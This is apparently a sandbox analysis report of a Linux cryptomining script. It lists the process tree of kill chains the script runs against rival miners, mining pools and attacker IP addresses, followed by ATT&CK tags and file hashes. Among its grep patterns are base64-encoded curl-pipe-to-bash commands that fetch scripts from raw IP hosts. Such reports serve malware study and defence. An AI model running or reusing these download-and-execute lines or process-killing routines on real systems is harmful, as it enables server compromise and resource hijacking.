/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1387
-
-
/bin/grepgrep "\\[^"2⤵PID:1390
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1392
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1391
-
-
/bin/grepgrep -v grep2⤵PID:1389
-
-
/bin/psps aux2⤵PID:1388
-
-
/bin/grepgrep rsync2⤵PID:1395
-
-
/bin/grepgrep -v grep2⤵PID:1394
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1396
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1393
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1397
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1401
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1402
-
-
/bin/grepgrep -v grep2⤵PID:1399
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1398
-
-
/bin/grepgrep watchd0g2⤵PID:1400
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1406
-
-
/bin/grepgrep -v grep2⤵PID:1404
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1407
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1403
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1405
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1405
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1405
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1405
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1405
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1405
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1405
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1411
-
-
/bin/grepgrep 158.69.133.18:82202⤵
- Disables SELinux
PID:1410
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1412
-
-
/bin/grepgrep -v grep2⤵PID:1409
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1408
-
-
/bin/grepgrep -v grep2⤵PID:1414
-
-
/bin/grepgrep /tmp/java2⤵PID:1415
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1416
-
-
/bin/psps aux2⤵PID:1413
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1417
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1421
-
-
/bin/grepgrep gitee.com2⤵PID:1420
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1422
-
-
/bin/grepgrep -v grep2⤵PID:1419
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1418
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1426
-
-
/bin/grepgrep /tmp/java2⤵PID:1425
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1427
-
-
/bin/grepgrep -v grep2⤵PID:1424
-
-
/bin/psps aux2⤵PID:1423
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1430
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1432
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1431
-
-
/bin/grepgrep -v grep2⤵PID:1429
-
-
/bin/psps aux2⤵PID:1428
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1436
-
-
/bin/grepgrep 89.35.39.782⤵PID:1435
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1437
-
-
/bin/grepgrep -v grep2⤵PID:1434
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1433
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1440
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1438
-
-
/bin/grepgrep -v grep2⤵PID:1439
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1441
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1442
-
-
/bin/grepgrep kthrotlds2⤵PID:1445
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1446
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1447
-
-
/bin/grepgrep -v grep2⤵PID:1444
-
-
/bin/psps aux2⤵PID:1443
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1451
-
-
/bin/grepgrep -v grep2⤵PID:1449
-
-
/bin/psps aux2⤵PID:1448
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1452
-
-
/bin/grepgrep ksoftirqds2⤵PID:1450
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1456
-
-
/bin/grepgrep netdns2⤵PID:1455
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1457
-
-
/bin/grepgrep -v grep2⤵PID:1454
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1453
-
-
/bin/grepgrep watchdogs2⤵PID:1460
-
-
/bin/grepgrep -v grep2⤵PID:1459
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1461
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1462
-
-
/bin/psps aux2⤵PID:1458
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1465
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1466
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1467
-
-
/bin/grepgrep -v grep2⤵PID:1464
-
-
/bin/psps aux2⤵PID:1463
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1471
-
-
/bin/grepgrep kinsing2⤵PID:1470
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1472
-
-
/bin/grepgrep -v grep2⤵PID:1469
-
-
/bin/psps aux2⤵PID:1468
-
-
/bin/grepgrep -v grep2⤵PID:1474
-
-
/bin/grepgrep redis22⤵PID:1475
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1476
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1477
-
-
/bin/psps aux2⤵PID:1473
-
-
/bin/grepgrep -v aux2⤵PID:1480
-
-
/bin/grepgrep -v grep2⤵PID:1479
-
-
/bin/grepgrep " ps"2⤵PID:1481
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1482
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1483
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1478
-
-
/bin/grepgrep sync_supers2⤵PID:1486
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1488
-
-
/bin/grepgrep -v grep2⤵PID:1485
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1484
-
-
/usr/bin/cutcut -c 9-152⤵PID:1487
-
-
/bin/grepgrep cpuset2⤵PID:1491
-
-
/usr/bin/cutcut -c 9-152⤵PID:1492
-
-
/bin/grepgrep -v grep2⤵PID:1490
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1493
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1489
-
-
/bin/grepgrep -v aux2⤵PID:1496
-
-
/bin/grepgrep "x]"2⤵PID:1497
-
-
/bin/grepgrep -v grep2⤵PID:1495
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1498
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1499
-
-
/bin/psps aux2⤵PID:1494
-
-
/bin/grepgrep -v aux2⤵PID:1502
-
-
/bin/grepgrep "sh] <"2⤵PID:1503
-
-
/bin/grepgrep -v grep2⤵PID:1501
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1504
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1505
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1500
-
-
/bin/grepgrep -v aux2⤵PID:1508
-
-
/bin/grepgrep " \\[]"2⤵PID:1509
-
-
/bin/grepgrep -v grep2⤵PID:1507
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1510
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1506
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1511
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1514
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1515
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1516
-
-
/bin/grepgrep -v grep2⤵PID:1513
-
-
/bin/psps aux2⤵PID:1512
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1519
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1520
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1521
-
-
/bin/grepgrep -v grep2⤵PID:1518
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1517
-
-
/bin/grepgrep hahwNEdB2⤵PID:1524
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1525
-
-
/bin/grepgrep -v grep2⤵PID:1523
-
-
/bin/psps aux2⤵PID:1522
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1526
-
-
/bin/grepgrep -v grep2⤵PID:1528
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1531
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1530
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1529
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1527
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1534
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1535
-
-
/bin/grepgrep -v grep2⤵PID:1533
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1536
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1532
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1540
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1539
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1541
-
-
/bin/grepgrep -v grep2⤵PID:1538
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1537
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1545
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1544
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1546
-
-
/bin/grepgrep -v grep2⤵PID:1543
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1542
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1549
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1551
-
-
/bin/grepgrep -v grep2⤵PID:1548
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1550
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1547
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1556
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1555
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1554
-
-
/bin/grepgrep -v grep2⤵PID:1553
-
-
/bin/psps aux2⤵PID:1552
-
-
/bin/grepgrep sustse2⤵PID:1559
-
-
/bin/psps aux2⤵PID:1557
-
-
/bin/grepgrep -v grep2⤵PID:1558
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1561
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1560
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1565
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1566
-
-
/bin/grepgrep sustse32⤵PID:1564
-
-
/bin/grepgrep -v grep2⤵PID:1563
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1562
-
-
/bin/grepgrep mr.sh2⤵PID:1569
-
-
/bin/grepgrep wget2⤵PID:1570
-
-
/bin/grepgrep -v grep2⤵PID:1568
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1571
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1572
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1567
-
-
/bin/grepgrep mr.sh2⤵PID:1575
-
-
/bin/grepgrep curl2⤵PID:1576
-
-
/bin/grepgrep -v grep2⤵PID:1574
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1577
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1578
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1573
-
-
/bin/grepgrep 2mr.sh2⤵PID:1581
-
-
/bin/grepgrep wget2⤵PID:1582
-
-
/bin/grepgrep -v grep2⤵PID:1580
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1579
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1583
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1584
-
-
/bin/grepgrep 2mr.sh2⤵PID:1587
-
-
/bin/grepgrep curl2⤵PID:1588
-
-
/bin/grepgrep -v grep2⤵PID:1586
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1589
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1590
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1585
-
-
/bin/grepgrep cr5.sh2⤵PID:1593
-
-
/bin/grepgrep -v grep2⤵PID:1592
-
-
/bin/grepgrep wget2⤵PID:1594
-
-
/bin/psps aux2⤵PID:1591
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1595
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1596
-
-
/bin/grepgrep cr5.sh2⤵PID:1599
-
-
/bin/grepgrep curl2⤵PID:1600
-
-
/bin/grepgrep -v grep2⤵PID:1598
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1601
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1602
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1597
-
-
/bin/grepgrep logo9.jpg2⤵PID:1605
-
-
/bin/grepgrep wget2⤵PID:1606
-
-
/bin/grepgrep -v grep2⤵PID:1604
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1607
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1608
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1603
-
-
/bin/grepgrep -v grep2⤵PID:1610
-
-
/bin/grepgrep logo9.jpg2⤵PID:1611
-
-
/bin/psps aux2⤵PID:1609
-
-
/bin/grepgrep curl2⤵PID:1612
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1613
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1614
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1618
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1619
-
-
/bin/grepgrep -v grep2⤵PID:1616
-
-
/bin/grepgrep j2.conf2⤵PID:1617
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1615
-
-
/bin/grepgrep luk-cpu2⤵PID:1622
-
-
/bin/grepgrep wget2⤵PID:1623
-
-
/bin/grepgrep -v grep2⤵PID:1621
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1624
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1625
-
-
/bin/psps aux2⤵PID:1620
-
-
/bin/grepgrep luk-cpu2⤵PID:1628
-
-
/bin/grepgrep curl2⤵PID:1629
-
-
/bin/grepgrep -v grep2⤵PID:1627
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1630
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1631
-
-
/bin/psps aux2⤵PID:1626
-
-
/bin/grepgrep wget2⤵PID:1635
-
-
/bin/grepgrep ficov2⤵PID:1634
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1636
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1637
-
-
/bin/grepgrep -v grep2⤵PID:1633
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1632
-
-
/bin/grepgrep curl2⤵PID:1641
-
-
/bin/grepgrep ficov2⤵PID:1640
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1642
-
-
/bin/grepgrep -v grep2⤵PID:1639
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1643
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1638
-
-
/bin/grepgrep wget2⤵PID:1647
-
-
/bin/grepgrep he.sh2⤵PID:1646
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1648
-
-
/bin/grepgrep -v grep2⤵PID:1645
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1649
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1644
-
-
/bin/grepgrep he.sh2⤵PID:1652
-
-
/bin/grepgrep curl2⤵PID:1653
-
-
/bin/grepgrep -v grep2⤵PID:1651
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1654
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1655
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1650
-
-
/bin/grepgrep miner.sh2⤵PID:1658
-
-
/bin/grepgrep -v grep2⤵PID:1657
-
-
/bin/grepgrep wget2⤵PID:1659
-
-
/bin/psps aux2⤵PID:1656
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1661
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1660
-
-
/bin/grepgrep miner.sh2⤵PID:1664
-
-
/bin/grepgrep -v grep2⤵PID:1663
-
-
/bin/grepgrep curl2⤵PID:1665
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1666
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1667
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1662
-
-
/bin/grepgrep nullcrew2⤵PID:1670
-
-
/bin/grepgrep wget2⤵PID:1671
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1672
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1673
-
-
/bin/grepgrep -v grep2⤵PID:1669
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1668
-
-
/bin/grepgrep curl2⤵PID:1677
-
-
/bin/grepgrep nullcrew2⤵PID:1676
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1678
-
-
/bin/grepgrep -v grep2⤵PID:1675
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1679
-
-
/bin/psps aux2⤵PID:1674
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1683
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1682
-
-
/bin/grepgrep -v grep2⤵PID:1681
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1684
-
-
/bin/psps aux2⤵PID:1680
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1688
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1687
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1689
-
-
/bin/grepgrep -v grep2⤵PID:1686
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1685
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1692
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1693
-
-
/bin/grepgrep -v grep2⤵PID:1691
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1694
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1690
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1698
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1699
-
-
/bin/grepgrep 144.217.45.452⤵PID:1697
-
-
/bin/grepgrep -v grep2⤵PID:1696
-
-
/bin/psps aux2⤵PID:1695
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1702
-
-
/usr/bin/awkawk "{print \$2}"2⤵
- Reads runtime system information
PID:1703
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1704
-
-
/bin/grepgrep -v grep2⤵PID:1701
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1700
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1708
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1709
-
-
/bin/grepgrep 176.31.6.162⤵PID:1707
-
-
/bin/grepgrep -v grep2⤵PID:1706
-
-
/bin/psps aux2⤵PID:1705
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1713
-
-
/bin/grepgrep -v grep2⤵PID:1711
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1714
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1712
-
-
/bin/psps auxf2⤵PID:1710
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1718
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1717
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1719
-
-
/bin/grepgrep -v grep2⤵PID:1716
-
-
/bin/psps auxf2⤵PID:1715
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1723
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵
- Disables SELinux
PID:1722
-
-
/bin/grepgrep -v grep2⤵PID:1721
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1724
-
-
/bin/psps auxf2⤵PID:1720
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1727
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1728
-
-
/bin/grepgrep -v grep2⤵PID:1726
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1729
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1725
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1733
-
-
/bin/grepPID:1732
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1734
-
-
/bin/grepgrep -v grep2⤵PID:1731
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1730
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1738
-
-
/bin/grepgrep monerohash.com2⤵PID:1737
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1739
-
-
/bin/grepgrep -v grep2⤵PID:1736
-
-
/bin/psps auxf2⤵PID:1735
-
-
/bin/grepgrep /tmp/a7b104c2702⤵
- Disables SELinux
PID:1742
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1743
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1744
-
-
/bin/grepgrep -v grep2⤵PID:1741
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1740
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1747
-
-
/bin/grepgrep -v grep2⤵PID:1746
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1748
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1749
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1745
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1753
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1752
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1754
-
-
/bin/grepgrep -v grep2⤵PID:1751
-
-
/bin/psps auxf2⤵PID:1750
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1757
-
-
/bin/grepgrep -v grep2⤵PID:1756
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1758
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1759
-
-
/bin/psps auxf2⤵PID:1755
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1763
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1762
-
-
/bin/grepgrep -v grep2⤵PID:1761
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1764
-
-
/bin/psps auxf2⤵PID:1760
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1768
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1767
-
-
/bin/grepgrep -v grep2⤵PID:1766
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1769
-
-
/bin/psps auxf2⤵PID:1765
-
-
/bin/grepgrep -v grep2⤵PID:1771
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1772
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1770
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1773
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1774
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1777
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1778
-
/usr/local/sbin/killkill -9 17763⤵PID:1779
-
-
/usr/local/bin/killkill -9 17763⤵PID:1779
-
-
/usr/sbin/killkill -9 17763⤵PID:1779
-
-
/usr/bin/killkill -9 17763⤵PID:1779
-
-
/sbin/killkill -9 17763⤵PID:1779
-
-
/bin/killkill -9 17763⤵PID:1779
-
-
-
/bin/grepgrep xiaoyao2⤵PID:1776
-
-
/bin/psps auxf2⤵PID:1775
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1782
-
-
/bin/grepgrep xiaoxue2⤵PID:1781
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1783
-
/usr/local/sbin/killkill -9 17813⤵PID:1784
-
-
/usr/local/bin/killkill -9 17813⤵PID:1784
-
-
/usr/sbin/killkill -9 17813⤵PID:1784
-
-
/usr/bin/killkill -9 17813⤵PID:1784
-
-
/sbin/killkill -9 17813⤵PID:1784
-
-
/bin/killkill -9 17813⤵PID:1784
-
-
-
/bin/psps auxf2⤵PID:1780
-
-
/bin/grepgrep 46.243.253.152⤵PID:1786
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1788
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1790
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1787
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1789
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1793
-
-
/bin/grepgrep 176.31.6.162⤵PID:1792
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1794
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1795
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1796
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1798
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1797
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1800
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵
- Reads CPU attributes
PID:1799
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1802
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Account Manipulation
1SSH Authorized Keys
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Privilege Escalation
Account Manipulation
1SSH Authorized Keys
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
2Linux and Mac File and Directory Permissions Modification
2Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path /bin/ps
- Size 13B
- SHA256 be167c52e59f0a02ca6841074d9e73205b2f7898ad73d405c7b96f9efb440c36
- MD5 3d47b8e895a71930bda5d4f3d8fc8589
- SHA1 efbaf468b81abb6b465ca12f35fa067bae1b4f10
- SHA512 bd109ac68d85a8451187e31b8ec62dbc062d3fa2aab866928b094b64318912c7056f42ca363b01af74b1898f84d2675f3099d1aab72140b6ba932a16257aa5eb
- MD5 SHA1 SHA512
- Path /bin/ps
- Size 52B
- SHA256 db7a08cba996d62b1fe07727ba58b98d7b59778bd7227c9b7fd69bc587d2557f
- MD5 f668da8f0525cbe5a545869cb5776913
- SHA1 996e6afed4498ff8a92a64330de018141af102c9
- SHA512 f918ba58e9af19704344c92ec356d215080f47d66b175f3d712d31e54e1b9e4e46daeb0556d82b0722ae01b8cfe456f08021e73b053ced6326735e1d0b73c700
- TLSH T16890028D05189D111A545D12A371AED5818458204B4397415478028E4191192316005E
- MD5 SHA1 SHA512 TLSH
- Path /bin/pstree
- Size 56B
